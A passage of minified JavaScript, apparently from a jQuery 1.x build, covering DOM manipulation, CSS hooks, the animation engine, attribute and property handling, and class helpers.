e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&C.cleanData(b(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&C.nodeName(e,\"select\")&&(e.options.length=0)}return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return C.clone(this,e,t)})},html:function(e){return d(this,function(e){var t=this[0]||{},n=0,r=this.length;if(e===undefined)return 1===t.nodeType?t.innerHTML.replace(Oe,\"\"):undefined;if(\"string\"==typeof e&&!Be.test(e)&&(y.htmlSerialize||!Re.test(e))&&(y.leadingWhitespace||!ve.test(e))&&!x[(me.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=C.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(C.cleanData(b(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return w(this,arguments,function(e){var t=this.parentNode;C.inArray(this,n)<0&&(C.cleanData(b(this)),t&&t.replaceChild(e,this))},n)}}),C.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,a){C.fn[e]=function(e){for(var t,n=0,r=[],i=C(e),o=i.length-1;n<=o;n++)t=n===o?this:this.clone(!0),C(i[n])[a](t),R.apply(r,t.get());return this.pushStack(r)}});var Ge,Ke={HTML:\"block\",BODY:\"block\"};function Qe(e,t){e=C(t.createElement(e)).appendTo(t.body),t=C.css(e[0],\"display\");return e.detach(),t}function Ze(e){var t=g,n=Ke[e];return n||(\"none\"!==(n=Qe(e,t))&&n||((t=((Ge=(Ge||C(\"<iframe frameborder='0' width='0' height='0'/>\")).appendTo(t.documentElement))[0].contentWindow||Ge[0].contentDocument).document).write(),t.close(),n=Qe(e,t),Ge.detach()),Ke[e]=n),n}var n,et,tt,nt,rt,it,ot,a,at=/^margin/,st=new RegExp(\"^(\"+e+\")(?!px)[a-z%]+$\",\"i\"),ut=function(e,t,n,r){var i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.apply(e,r||[]),t)e.style[i]=o[i];return r},lt=g.documentElement;function t(){var e,t=g.documentElement;t.appendChild(ot),a.style.cssText=\"-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\",n=tt=it=!1,et=rt=!0,T.getComputedStyle&&(e=T.getComputedStyle(a),n=\"1%\"!==(e||{}).top,it=\"2px\"===(e||{}).marginLeft,tt=\"4px\"===(e||{width:\"4px\"}).width,a.style.marginRight=\"50%\",et=\"4px\"===(e||{marginRight:\"4px\"}).marginRight,(e=a.appendChild(g.createElement(\"div\"))).style.cssText=a.style.cssText=\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0\",e.style.marginRight=e.style.width=\"0\",a.style.width=\"1px\",rt=!parseFloat((T.getComputedStyle(e)||{}).marginRight),a.removeChild(e)),a.style.display=\"none\",(nt=0===a.getClientRects().length)&&(a.style.display=\"\",a.innerHTML=\"<table><tr><td></td><td>t</td></tr></table>\",a.childNodes[0].style.borderCollapse=\"separate\",(e=a.getElementsByTagName(\"td\"))[0].style.cssText=\"margin:0;border:0;padding:0;display:none\",(nt=0===e[0].offsetHeight)&&(e[0].style.display=\"\",e[1].style.display=\"none\",nt=0===e[0].offsetHeight)),t.removeChild(ot)}ot=g.createElement(\"div\"),(a=g.createElement(\"div\")).style&&(a.style.cssText=\"float:left;opacity:.5\",y.opacity=\"0.5\"===a.style.opacity,y.cssFloat=!!a.style.cssFloat,a.style.backgroundClip=\"content-box\",a.cloneNode(!0).style.backgroundClip=\"\",y.clearCloneStyle=\"content-box\"===a.style.backgroundClip,(ot=g.createElement(\"div\")).style.cssText=\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\",a.innerHTML=\"\",ot.appendChild(a),y.boxSizing=\"\"===a.style.boxSizing||\"\"===a.style.MozBoxSizing||\"\"===a.style.WebkitBoxSizing,C.extend(y,{reliableHiddenOffsets:function(){return null==n&&t(),nt},boxSizingReliable:function(){return null==n&&t(),tt},pixelMarginRight:function(){return null==n&&t(),et},pixelPosition:function(){return null==n&&t(),n},reliableMarginRight:function(){return null==n&&t(),rt},reliableMarginLeft:function(){return null==n&&t(),it}}));var l,p,ct=/^(top|right|bottom|left)$/;function ft(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}T.getComputedStyle?(l=function(e){var t=e.ownerDocument.defaultView;return(t=t&&t.opener?t:T).getComputedStyle(e)},p=function(e,t,n){var r,i,o=e.style;return\"\"!==(i=(n=n||l(e))?n.getPropertyValue(t)||n[t]:undefined)&&i!==undefined||C.contains(e.ownerDocument,e)||(i=C.style(e,t)),n&&!y.pixelMarginRight()&&st.test(i)&&at.test(t)&&(e=o.width,t=o.minWidth,r=o.maxWidth,o.minWidth=o.maxWidth=o.width=i,i=n.width,o.width=e,o.minWidth=t,o.maxWidth=r),i===undefined?i:i+\"\"}):lt.currentStyle&&(l=function(e){return e.currentStyle},p=function(e,t,n){var r,i,o,a=e.style;return null==(n=(n=n||l(e))?n[t]:undefined)&&a&&a[t]&&(n=a[t]),st.test(n)&&!ct.test(t)&&(r=a.left,(o=(i=e.runtimeStyle)&&i.left)&&(i.left=e.currentStyle.left),a.left=\"fontSize\"===t?\"1em\":n,n=a.pixelLeft+\"px\",a.left=r,o&&(i.left=o)),n===undefined?n:n+\"\"||\"auto\"});var dt=/alpha\\([^)]*\\)/i,pt=/opacity\\s*=\\s*([^)]*)/i,ht=/^(none|table(?!-c[ea]).+)/,gt=new RegExp(\"^(\"+e+\")(.*)$\",\"i\"),mt={position:\"absolute\",visibility:\"hidden\",display:\"block\"},yt={letterSpacing:\"0\",fontWeight:\"400\"},vt=[\"Webkit\",\"O\",\"Moz\",\"ms\"],xt=g.createElement(\"div\").style;function bt(e){if(e in xt)return e;for(var t=e.charAt(0).toUpperCase()+e.slice(1),n=vt.length;n--;)if((e=vt[n]+t)in xt)return e}function wt(e,t){for(var n,r,i,o=[],a=0,s=e.length;a<s;a++)(r=e[a]).style&&(o[a]=C._data(r,\"olddisplay\"),n=r.style.display,t?(o[a]||\"none\"!==n||(r.style.display=\"\"),\"\"===r.style.display&&pe(r)&&(o[a]=C._data(r,\"olddisplay\",Ze(r.nodeName)))):(i=pe(r),(n&&\"none\"!==n||!i)&&C._data(r,\"olddisplay\",i?n:C.css(r,\"display\"))));for(a=0;a<s;a++)!(r=e[a]).style||t&&\"none\"!==r.style.display&&\"\"!==r.style.display||(r.style.display=t?o[a]||\"\":\"none\");return e}function Tt(e,t,n){var r=gt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||\"px\"):t}function Ct(e,t,n,r,i){for(var o=n===(r?\"border\":\"content\")?4:\"width\"===t?1:0,a=0;o<4;o+=2)\"margin\"===n&&(a+=C.css(e,n+s[o],!0,i)),r?(\"content\"===n&&(a-=C.css(e,\"padding\"+s[o],!0,i)),\"margin\"!==n&&(a-=C.css(e,\"border\"+s[o]+\"Width\",!0,i))):(a+=C.css(e,\"padding\"+s[o],!0,i),\"padding\"!==n&&(a+=C.css(e,\"border\"+s[o]+\"Width\",!0,i)));return a}function Et(e,t,n){var r=!0,i=\"width\"===t?e.offsetWidth:e.offsetHeight,o=l(e),a=y.boxSizing&&\"border-box\"===C.css(e,\"boxSizing\",!1,o);if(i<=0||null==i){if(((i=p(e,t,o))<0||null==i)&&(i=e.style[t]),st.test(i))return i;r=a&&(y.boxSizingReliable()||i===e.style[t]),i=parseFloat(i)||0}return i+Ct(e,t,n||(a?\"border\":\"content\"),r,o)+\"px\"}function h(e,t,n,r,i){return new h.prototype.init(e,t,n,r,i)}C.extend({cssHooks:{opacity:{get:function(e,t){if(t)return\"\"===(t=p(e,\"opacity\"))?\"1\":t}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":y.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=C.camelCase(t),u=e.style;if(t=C.cssProps[s]||(C.cssProps[s]=bt(s)||s),a=C.cssHooks[t]||C.cssHooks[s],n===undefined)return a&&\"get\"in a&&(i=a.get(e,!1,r))!==undefined?i:u[t];if(\"string\"===(o=typeof n)&&(i=de.exec(n))&&i[1]&&(n=he(e,t,i),o=\"number\"),null!=n&&n==n&&(\"number\"===o&&(n+=i&&i[3]||(C.cssNumber[s]?\"\":\"px\")),y.clearCloneStyle||\"\"!==n||0!==t.indexOf(\"background\")||(u[t]=\"inherit\"),!(a&&\"set\"in a&&(n=a.set(e,n,r))===undefined)))try{u[t]=n}catch(l){}}},css:function(e,t,n,r){var i,o=C.camelCase(t);return t=C.cssProps[o]||(C.cssProps[o]=bt(o)||o),\"normal\"===(i=(i=(o=C.cssHooks[t]||C.cssHooks[o])&&\"get\"in o?o.get(e,!0,n):i)===undefined?p(e,t,r):i)&&t in yt&&(i=yt[t]),\"\"===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),C.each([\"height\",\"width\"],function(e,i){C.cssHooks[i]={get:function(e,t,n){if(t)return ht.test(C.css(e,\"display\"))&&0===e.offsetWidth?ut(e,mt,function(){return Et(e,i,n)}):Et(e,i,n)},set:function(e,t,n){var r=n&&l(e);return Tt(0,t,n?Ct(e,i,n,y.boxSizing&&\"border-box\"===C.css(e,\"boxSizing\",!1,r),r):0)}}}),y.opacity||(C.cssHooks.opacity={get:function(e,t){return pt.test((t&&e.currentStyle?e.currentStyle:e.style).filter||\"\")?.01*parseFloat(RegExp.$1)+\"\":t?\"1\":\"\"},set:function(e,t){var n=e.style,e=e.currentStyle,r=C.isNumeric(t)?\"alpha(opacity=\"+100*t+\")\":\"\",i=e&&e.filter||n.filter||\"\";((n.zoom=1)<=t||\"\"===t)&&\"\"===C.trim(i.replace(dt,\"\"))&&n.removeAttribute&&(n.removeAttribute(\"filter\"),\"\"===t||e&&!e.filter)||(n.filter=dt.test(i)?i.replace(dt,r):i+\" \"+r)}}),C.cssHooks.marginRight=ft(y.reliableMarginRight,function(e,t){if(t)return ut(e,{display:\"inline-block\"},p,[e,\"marginRight\"])}),C.cssHooks.marginLeft=ft(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(p(e,\"marginLeft\"))||(C.contains(e.ownerDocument,e)?e.getBoundingClientRect().left-ut(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}):0))+\"px\"}),C.each({margin:\"\",padding:\"\",border:\"Width\"},function(i,o){C.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r=\"string\"==typeof e?e.split(\" \"):[e];t<4;t++)n[i+s[t]+o]=r[t]||r[t-2]||r[0];return n}},at.test(i)||(C.cssHooks[i+o].set=Tt)}),C.fn.extend({css:function(e,t){return d(this,function(e,t,n){var r,i,o={},a=0;if(C.isArray(t)){for(r=l(e),i=t.length;a<i;a++)o[t[a]]=C.css(e,t[a],!1,r);return o}return n!==undefined?C.style(e,t,n):C.css(e,t)},e,t,1<arguments.length)},show:function(){return wt(this,!0)},hide:function(){return wt(this)},toggle:function(e){return\"boolean\"==typeof e?e?this.show():this.hide():this.each(function(){pe(this)?C(this).show():C(this).hide()})}}),((C.Tween=h).prototype={constructor:h,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||C.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(C.cssNumber[n]?\"\":\"px\")},cur:function(){var e=h.propHooks[this.prop];return(e&&e.get?e:h.propHooks._default).get(this)},run:function(e){var t,n=h.propHooks[this.prop];return this.options.duration?this.pos=t=C.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),(n&&n.set?n:h.propHooks._default).set(this),this}}).init.prototype=h.prototype,(h.propHooks={_default:{get:function(e){return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(e=C.css(e.elem,e.prop,\"\"))&&\"auto\"!==e?e:0},set:function(e){C.fx.step[e.prop]?C.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[C.cssProps[e.prop]]&&!C.cssHooks[e.prop]?e.elem[e.prop]=e.now:C.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=h.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},C.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\"swing\"},C.fx=h.prototype.init,C.fx.step={};var N,Nt,k,S,kt=/^(?:toggle|show|hide)$/,St=/queueHooks$/;function At(){return T.setTimeout(function(){N=undefined}),N=C.now()}function Dt(e,t){var n,r={height:e},i=0;for(t=t?1:0;i<4;i+=2-t)r[\"margin\"+(n=s[i])]=r[\"padding\"+n]=e;return t&&(r.opacity=r.width=e),r}function jt(e,t,n){for(var r,i=(A.tweeners[t]||[]).concat(A.tweeners[\"*\"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function A(i,e,t){var n,o,r,a,s,u,l,c=0,f=A.prefilters.length,d=C.Deferred().always(function(){delete p.elem}),p=function(){if(o)return!1;for(var e=N||At(),e=Math.max(0,h.startTime+h.duration-e),t=1-(e/h.duration||0),n=0,r=h.tweens.length;n<r;n++)h.tweens[n].run(t);return d.notifyWith(i,[h,t,e]),t<1&&r?e:(d.resolveWith(i,[h]),!1)},h=d.promise({elem:i,props:C.extend({},e),opts:C.extend(!0,{specialEasing:{},easing:C.easing._default},t),originalProperties:e,originalOptions:t,startTime:N||At(),duration:t.duration,tweens:[],createTween:function(e,t){t=C.Tween(i,h.opts,e,t,h.opts.specialEasing[e]||h.opts.easing);return h.tweens.push(t),t},stop:function(e){var t=0,n=e?h.tweens.length:0;if(o)return this;for(o=!0;t<n;t++)h.tweens[t].run(1);return e?(d.notifyWith(i,[h,1,0]),d.resolveWith(i,[h,e])):d.rejectWith(i,[h,e]),this}}),g=h.props,m=g,y=h.opts.specialEasing;for(r in m)if(s=y[a=C.camelCase(r)],u=m[r],C.isArray(u)&&(s=u[1],u=m[r]=u[0]),r!==a&&(m[a]=u,delete m[r]),(l=C.cssHooks[a])&&\"expand\"in l)for(r in u=l.expand(u),delete m[a],u)r in m||(m[r]=u[r],y[r]=s);else y[a]=s;for(;c<f;c++)if(n=A.prefilters[c].call(h,i,g,h.opts))return C.isFunction(n.stop)&&(C._queueHooks(h.elem,h.opts.queue).stop=C.proxy(n.stop,n)),n;return C.map(g,jt,h),C.isFunction(h.opts.start)&&h.opts.start.call(i,h),C.fx.timer(C.extend(p,{elem:i,anim:h,queue:h.opts.queue})),h.progress(h.opts.progress).done(h.opts.done,h.opts.complete).fail(h.opts.fail).always(h.opts.always)}C.Animation=C.extend(A,{tweeners:{\"*\":[function(e,t){var n=this.createTween(e,t);return he(n.elem,e,de.exec(t),n),n}]},tweener:function(e,t){for(var n,r=0,i=(e=C.isFunction(e)?(t=e,[\"*\"]):e.match(E)).length;r<i;r++)n=e[r],A.tweeners[n]=A.tweeners[n]||[],A.tweeners[n].unshift(t)},prefilters:[function(t,e,n){var r,i,o,a,s,u,l,c=this,f={},d=t.style,p=t.nodeType&&pe(t),h=C._data(t,\"fxshow\");for(r in n.queue||(null==(s=C._queueHooks(t,\"fx\")).unqueued&&(s.unqueued=0,u=s.empty.fire,s.empty.fire=function(){s.unqueued||u()}),s.unqueued++,c.always(function(){c.always(function(){s.unqueued--,C.queue(t,\"fx\").length||s.empty.fire()})})),1===t.nodeType&&(\"height\"in e||\"width\"in e)&&(n.overflow=[d.overflow,d.overflowX,d.overflowY],\"inline\"===(\"none\"===(l=C.css(t,\"display\"))?C._data(t,\"olddisplay\")||Ze(t.nodeName):l)&&\"none\"===C.css(t,\"float\")&&(y.inlineBlockNeedsLayout&&\"inline\"!==Ze(t.nodeName)?d.zoom=1:d.display=\"inline-block\")),n.overflow&&(d.overflow=\"hidden\",y.shrinkWrapBlocks()||c.always(function(){d.overflow=n.overflow[0],d.overflowX=n.overflow[1],d.overflowY=n.overflow[2]})),e)if(i=e[r],kt.exec(i)){if(delete e[r],o=o||\"toggle\"===i,i===(p?\"hide\":\"show\")){if(\"show\"!==i||!h||h[r]===undefined)continue;p=!0}f[r]=h&&h[r]||C.style(t,r)}else l=undefined;if(C.isEmptyObject(f))\"inline\"===(\"none\"===l?Ze(t.nodeName):l)&&(d.display=l);else for(r in h?\"hidden\"in h&&(p=h.hidden):h=C._data(t,\"fxshow\",{}),o&&(h.hidden=!p),p?C(t).show():c.done(function(){C(t).hide()}),c.done(function(){for(var e in C._removeData(t,\"fxshow\"),f)C.style(t,e,f[e])}),f)a=jt(p?h[r]:0,r,c),r in h||(h[r]=a.start,p&&(a.end=a.start,a.start=\"width\"===r||\"height\"===r?1:0))}],prefilter:function(e,t){t?A.prefilters.unshift(e):A.prefilters.push(e)}}),C.speed=function(e,t,n){var r=e&&\"object\"==typeof e?C.extend({},e):{complete:n||!n&&t||C.isFunction(e)&&e,duration:e,easing:n&&t||t&&!C.isFunction(t)&&t};return r.duration=C.fx.off?0:\"number\"==typeof r.duration?r.duration:r.duration in C.fx.speeds?C.fx.speeds[r.duration]:C.fx.speeds._default,null!=r.queue&&!0!==r.queue||(r.queue=\"fx\"),r.old=r.complete,r.complete=function(){C.isFunction(r.old)&&r.old.call(this),r.queue&&C.dequeue(this,r.queue)},r},C.fn.extend({fadeTo:function(e,t,n,r){return this.filter(pe).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=C.isEmptyObject(t),o=C.speed(e,n,r),e=function(){var e=A(this,C.extend({},t),o);(i||C._data(this,\"finish\"))&&e.stop(!0)};return e.finish=e,i||!1===o.queue?this.each(e):this.queue(o.queue,e)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return\"string\"!=typeof i&&(o=e,e=i,i=undefined),e&&!1!==i&&this.queue(i||\"fx\",[]),this.each(function(){var e=!0,t=null!=i&&i+\"queueHooks\",n=C.timers,r=C._data(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&St.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||C.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||\"fx\"),this.each(function(){var e,t=C._data(this),n=t[a+\"queue\"],r=t[a+\"queueHooks\"],i=C.timers,o=n?n.length:0;for(t.finish=!0,C.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),C.each([\"toggle\",\"show\",\"hide\"],function(e,r){var i=C.fn[r];C.fn[r]=function(e,t,n){return null==e||\"boolean\"==typeof e?i.apply(this,arguments):this.animate(Dt(r,!0),e,t,n)}}),C.each({slideDown:Dt(\"show\"),slideUp:Dt(\"hide\"),slideToggle:Dt(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,r){C.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),C.timers=[],C.fx.tick=function(){var e,t=C.timers,n=0;for(N=C.now();n<t.length;n++)(e=t[n])()||t[n]!==e||t.splice(n--,1);t.length||C.fx.stop(),N=undefined},C.fx.timer=function(e){C.timers.push(e),e()?C.fx.start():C.timers.pop()},C.fx.interval=13,C.fx.start=function(){Nt=Nt||T.setInterval(C.fx.tick,C.fx.interval)},C.fx.stop=function(){T.clearInterval(Nt),Nt=null},C.fx.speeds={slow:600,fast:200,_default:400},C.fn.delay=function(r,e){return r=C.fx&&C.fx.speeds[r]||r,this.queue(e=e||\"fx\",function(e,t){var n=T.setTimeout(e,r);t.stop=function(){T.clearTimeout(n)}})},k=g.createElement(\"input\"),q=g.createElement(\"div\"),S=g.createElement(\"select\"),e=S.appendChild(g.createElement(\"option\")),(q=g.createElement(\"div\")).setAttribute(\"className\",\"t\"),q.innerHTML=\"  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",F=q.getElementsByTagName(\"a\")[0],k.setAttribute(\"type\",\"checkbox\"),q.appendChild(k),(F=q.getElementsByTagName(\"a\")[0]).style.cssText=\"top:1px\",y.getSetAttribute=\"t\"!==q.className,y.style=/top/.test(F.getAttribute(\"style\")),y.hrefNormalized=\"/a\"===F.getAttribute(\"href\"),y.checkOn=!!k.value,y.optSelected=e.selected,y.enctype=!!g.createElement(\"form\").enctype,S.disabled=!0,y.optDisabled=!e.disabled,(k=g.createElement(\"input\")).setAttribute(\"value\",\"\"),y.input=\"\"===k.getAttribute(\"value\"),k.value=\"t\",k.setAttribute(\"type\",\"radio\"),y.radioValue=\"t\"===k.value;var Lt=/\\r/g,Ht=/[\\x20\\t\\r\\n\\f]+/g;C.fn.extend({val:function(t){var n,e,r,i=this[0];return arguments.length?(r=C.isFunction(t),this.each(function(e){1===this.nodeType&&(null==(e=r?t.call(this,e,C(this).val()):t)?e=\"\":\"number\"==typeof e?e+=\"\":C.isArray(e)&&(e=C.map(e,function(e){return null==e?\"\":e+\"\"})),(n=C.valHooks[this.type]||C.valHooks[this.nodeName.toLowerCase()])&&\"set\"in n&&n.set(this,e,\"value\")!==undefined||(this.value=e))})):i?(n=C.valHooks[i.type]||C.valHooks[i.nodeName.toLowerCase()])&&\"get\"in n&&(e=n.get(i,\"value\"))!==undefined?e:\"string\"==typeof(e=i.value)?e.replace(Lt,\"\"):null==e?\"\":e:void 0}}),C.extend({valHooks:{option:{get:function(e){var t=C.find.attr(e,\"value\");return null!=t?t:C.trim(C.text(e)).replace(Ht,\" \")}},select:{get:function(e){for(var t,n=e.options,r=e.selectedIndex,i=\"select-one\"===e.type||r<0,o=i?null:[],a=i?r+1:n.length,s=r<0?a:i?r:0;s<a;s++)if(((t=n[s]).selected||s===r)&&(y.optDisabled?!t.disabled:null===t.getAttribute(\"disabled\"))&&(!t.parentNode.disabled||!C.nodeName(t.parentNode,\"optgroup\"))){if(t=C(t).val(),i)return t;o.push(t)}return o},set:function(e,t){for(var n,r,i=e.options,o=C.makeArray(t),a=i.length;a--;)if(r=i[a],-1<C.inArray(C.valHooks.option.get(r),o))try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),C.each([\"radio\",\"checkbox\"],function(){C.valHooks[this]={set:function(e,t){if(C.isArray(t))return e.checked=-1<C.inArray(C(e).val(),t)}},y.checkOn||(C.valHooks[this].get=function(e){return null===e.getAttribute(\"value\")?\"on\":e.value})});var D,qt,j=C.expr.attrHandle,_t=/^(?:checked|selected)$/i,L=y.getSetAttribute,Ft=y.input,Mt=(C.fn.extend({attr:function(e,t){return d(this,C.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){C.removeAttr(this,e)})}}),C.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return\"undefined\"==typeof e.getAttribute?C.prop(e,t,n):(1===o&&C.isXMLDoc(e)||(t=t.toLowerCase(),i=C.attrHooks[t]||(C.expr.match.bool.test(t)?qt:D)),n!==undefined?null===n?void C.removeAttr(e,t):i&&\"set\"in i&&(r=i.set(e,n,t))!==undefined?r:(e.setAttribute(t,n+\"\"),n):!(i&&\"get\"in i&&null!==(r=i.get(e,t)))&&null==(r=C.find.attr(e,t))?undefined:r)},attrHooks:{type:{set:function(e,t){var n;if(!y.radioValue&&\"radio\"===t&&C.nodeName(e,\"input\"))return n=e.value,e.setAttribute(\"type\",t),n&&(e.value=n),t}}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(E);if(o&&1===e.nodeType)for(;n=o[i++];)r=C.propFix[n]||n,C.expr.match.bool.test(n)?Ft&&L||!_t.test(n)?e[r]=!1:e[C.camelCase(\"default-\"+n)]=e[r]=!1:C.attr(e,n,\"\"),e.removeAttribute(L?n:r)}}),qt={set:function(e,t,n){return!1===t?C.removeAttr(e,n):Ft&&L||!_t.test(n)?e.setAttribute(!L&&C.propFix[n]||n,n):e[C.camelCase(\"default-\"+n)]=e[n]=!0,n}},C.each(C.expr.match.bool.source.match(/\\w+/g),function(e,t){var o=j[t]||C.find.attr;Ft&&L||!_t.test(t)?j[t]=function(e,t,n){var r,i;return n||(i=j[t],j[t]=r,r=null!=o(e,t,n)?t.toLowerCase():null,j[t]=i),r}:j[t]=function(e,t,n){if(!n)return e[C.camelCase(\"default-\"+t)]?t.toLowerCase():null}}),Ft&&L||(C.attrHooks.value={set:function(e,t,n){if(!C.nodeName(e,\"input\"))return D&&D.set(e,t,n);e.defaultValue=t}}),L||(D={set:function(e,t,n){var r=e.getAttributeNode(n);if(r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+=\"\",\"value\"===n||t===e.getAttribute(n))return t}},j.id=j.name=j.coords=function(e,t,n){if(!n)return(n=e.getAttributeNode(t))&&\"\"!==n.value?n.value:null},C.valHooks.button={get:function(e,t){t=e.getAttributeNode(t);if(t&&t.specified)return t.value},set:D.set},C.attrHooks.contenteditable={set:function(e,t,n){D.set(e,\"\"!==t&&t,n)}},C.each([\"width\",\"height\"],function(e,n){C.attrHooks[n]={set:function(e,t){if(\"\"===t)return e.setAttribute(n,\"auto\"),t}}})),y.style||(C.attrHooks.style={get:function(e){return e.style.cssText||undefined},set:function(e,t){return e.style.cssText=t+\"\"}}),/^(?:input|select|textarea|button|object)$/i),Ot=/^(?:a|area)$/i,Rt=(C.fn.extend({prop:function(e,t){return d(this,C.prop,e,t,1<arguments.length)},removeProp:function(t){return t=C.propFix[t]||t,this.each(function(){try{this[t]=undefined,delete this[t]}catch(e){}})}}),C.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&C.isXMLDoc(e)||(t=C.propFix[t]||t,i=C.propHooks[t]),n!==undefined?i&&\"set\"in i&&(r=i.set(e,n,t))!==undefined?r:e[t]=n:i&&\"get\"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=C.find.attr(e,\"tabindex\");return t?parseInt(t,10):Mt.test(e.nodeName)||Ot.test(e.nodeName)&&e.href?0:-1}}},propFix:{\"for\":\"htmlFor\",\"class\":\"className\"}}),y.hrefNormalized||C.each([\"href\",\"src\"],function(e,t){C.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),y.optSelected||(C.propHooks.selected={get:function(e){e=e.parentNode;return e&&(e.selectedIndex,e.parentNode&&e.parentNode.selectedIndex),null},set:function(e){e=e.parentNode;e&&(e.selectedIndex,e.parentNode&&e.parentNode.selectedIndex)}}),C.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){C.propFix[this.toLowerCase()]=this}),y.enctype||(C.propFix.enctype=\"encoding\"),/[\\t\\r\\n\\f]/g);function H(e){return C.attr(e,\"class\")||\"\"}C.fn.extend({addClass:function(t){var e,n,r,i,o,a,s=0;if(C.isFunction(t))return this.each(function(e){C(this).addClass(t.call(this,e,H(this)))});if(\"string\"==typeof t&&t)for(e=t.match(E)||[];n=this[s++];)if(a=H(n),r=1===n.nodeType&&(\" \"+a+\" \").replace(Rt,\" \")){for(o=0;i=e[o++];)r.indexOf(\" \"+i+\" \")<0&&(r+=i+\" \");a!==(a=C.trim(r))&&C.attr(n,\"class\",a)}return this},removeClass:function(t){var e,n,r,i,o,a,s=0;if(C.isFunction(t))return this.each(function(e){C(this).removeClass(t.call(this,e,H(this)))});if(!arguments.length)return this.attr(\"class\",\"\");if(\"string\"==typeof t&&t)for(e=t.match(E)||[];n=this[s++];)if(a=H(n),r=1===n.nodeType&&(\" \"+a+\" \").replace(Rt,\" \")){for(o=0;i=e[o++];)for(;-1<r.indexOf(\" \"+i+\" \");)r=r.replace(\" \"+i+\" \",\" \");a!==(a=C.trim(r))&&C.attr(n,\"class\",a)}return this},toggleClass:function(i,t){var o=typeof i;return\"boolean\"==typeof t&&\"string\"==o?t?this.addClass(i):this.removeClass(i):C.isFunction(i)?this.each(function(e){C(this).toggleClass(i.call(this,e,H(this),t),t)}):this.each(function(){var e,t,n,r;if(\"string\"==o)for(t=0,n=C(this),r=i.match(E)||[];e=r[t++];)n.hasClass(e)?n.removeClass(e):n.addClass(e);else i!==undefined&&\"boolean\"!=o||((e=H(this))&&C._data(this,\"__className__\",e),C.attr(this,\"class\",!e&&!1!==i&&C._data(this,\"__className__\")||\"\"))})},hasClass:function(e){for(var t,n=0,r=\" \"+e+\" \";t=this[n++];)if(1===t.nodeType&&-1<(\" \"+H(t)+\" \").replace(Rt,\" \").indexOf(r))return!0;return!1}}),C.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(e,n){C.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}}),C.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}});var 